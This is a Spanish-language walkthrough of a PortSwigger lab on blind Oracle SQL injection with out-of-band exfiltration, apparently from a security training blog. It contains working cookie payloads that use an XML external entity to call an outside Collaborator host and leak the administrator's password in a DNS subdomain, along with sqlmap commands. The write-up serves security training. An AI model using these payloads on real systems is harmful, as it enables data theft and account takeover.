Entrada

Blind SQL injection with out-of-band data exfiltration

Laboratorio de Portswigger sobre SQLI

Blind SQL injection with out-of-band data exfiltration

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una Blind SQL Injection, la aplicación utiliza una cookie de seguimiento para análisis y realiza una consulta SQL que incluye el valor de la cookie enviada. La consulta SQL se ejecuta de forma asíncrona y no afecta la respuesta de la aplicación. Sin embargo, puedes desencadenar interacciones out-of-band con un dominio externo. La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password. Hay que explotar la Blind SQL Injection para descubrir la contraseña del usuario administrador e iniciar sesión en su cuenta


Guía de SQLI

Antes de completar este laboratorio es recomendable leerse esta guía de SQLI https://justice-reaper.github.io/posts/SQLI/

Resolución

Al acceder a la web nos sale esto

Hay algunas Out-of-Band SQL Injections que no pueden ser detectadas o explotadas por sqlmap. En estas situaciones podemos realizar un escaneo completo con Burpsuite para detectarlas, para ello, debemos capturar la petición y pulsar click derecho > Scan

Posteriormente se nos abrirá esta ventana, en la cual debemos de seleccionar la opción Crawl and audit

Posteriormente deberemos seleccionar la configuración del escaneo. Recomendaría usar Deep, ya que, es el más completo. Una vez seleccionadas estas opciones pulsamos sobre Scan

Si nos dirigimos a Dashboard veremos que nos detecta la inyección SQL

Otra opción más específica es escanear los insertion points. Para ello, enviamos la petición al Intruder y seleccionamos los insertion points a analizar

Posteriormente pulsamos click derecho > Scan defined insertion points > Open scan launcher, seleccionamos Audit selected items y pulsamos sobre Scan

Si nos dirigimos a Dashboard veremos que también nos detecta la inyección SQL

También es posible detectar las Out-of-Band SQL Injections mediante sqlmap. Para ello, necesitamos instalar la extensión de Burpsuite llamada SQLMAP DNS Collaborator

Una vez instalada nos dirigimos a Extensions > Installed y pulsamos sobre el nombre de la extensión. Vemos que en la primera línea nos muestra un servidor --dns-domain=gm6n1v54k2yapzbqc1di32ti59bzzo.oastify.com, este es el que debemos usar al ejecutar sqlmap

Cada vez que queramos un nuevo servidor debemos pulsar sobre el cuadro de texto de la extensión para desactivarla y luego pulsar nuevamente para cargarla

Ejecutamos sqlmap con sudo

1
# sudo sqlmap -u https://0a8000ee030f0a7b80b708ab00fe001a.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --dbs --cookie="TrackingId=ltMxaizgXCdtiCXN*; session=ekfByIBkIPxRiuEoPiRItaXMNC3HwXSB" --dns-domain=gm6n1v54k2yapzbqc1di32ti59bzzo.oastify.com --dbms oracle

Si encuentra algo, se mostrará en el apartado de Show in UI

Como alternativa, podemos usar sqlmapsh https://github.com/unlock-security/sqlmapsh.git. Se usaría de la misma forma que sqlmap, pero no es necesario proporcionar el parámetro --dns-domain, ya que lo hace internamente

1
# sudo sqlmapsh -u https://0a8000ee030f0a7b80b708ab00fe001a.web-security-academy.net --risk=3 --level=5 --random-agent --dbs --batch --cookie="TrackingId=ltMxaizgXCdtiCXN*; session=ekfByIBkIPxRiuEoPiRItaXMNC3HwXSB"

Este laboratorio no se puede resolver usando sqlmap o sqlmapsh. La única forma que hay de identificar la inyección SQL es manualmente o mediante el escáner de Burpsuite. Si capturamos la petición a la web con Burpsuite vemos un campo llamado TrackingId, probando los payload de https://portswigger.net/web-security/sql-injection/cheat-sheet. En este caso vamos a usar este payload

1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual)-- - 

Antes de enviar la petición debemos hacer click en Collaborator > Copy to clipboard. El subdominio copiado lo sustituimos por el campo BURP-COLLABORATOR-SUBDOMAIN

1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ek2f0ugba257uzxtntvmsb5twk2bq2er.oastify.com/"> %remote;]>'),'/l') FROM dual)-- - ; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS

Una vez hecho esto debemos urlencodear el payload y enviar la petición

1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//ek2f0ugba257uzxtntvmsb5twk2bq2er.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual)--+-+; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS

Si nos dirigimos a la parte de Collaborator y pulsamos en Poll now nos llegarán las peticiones a nuestro servidor

Una vez comprobada la vulnerabilidad vamos a usar este payload para poder hacer consultas a la base de datos

1
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

Adaptamos el payload y lo enviamos

1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select+username+from+users+where+username='administrator')||'.dyfeetuao1j68ybs1s9l6ajsajga44st.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual)--+-+; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS

Si nos dirigimos a la parte de Collaborator y pulsamos en Poll now, vemos que como subdominio se está enviando el output de la query

Enviamos el siguiente payload para obtener la contraseña del usuario administrador

1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select+password+from+users+where+username='administrator')||'.dyfeetuao1j68ybs1s9l6ajsajga44st.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual)--+-+; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS

Obtenemos la contraseña del usuario administrador

Nos logueamos como usuario administrador

Esta entrada está licenciada bajo CC BY 4.0 por el autor.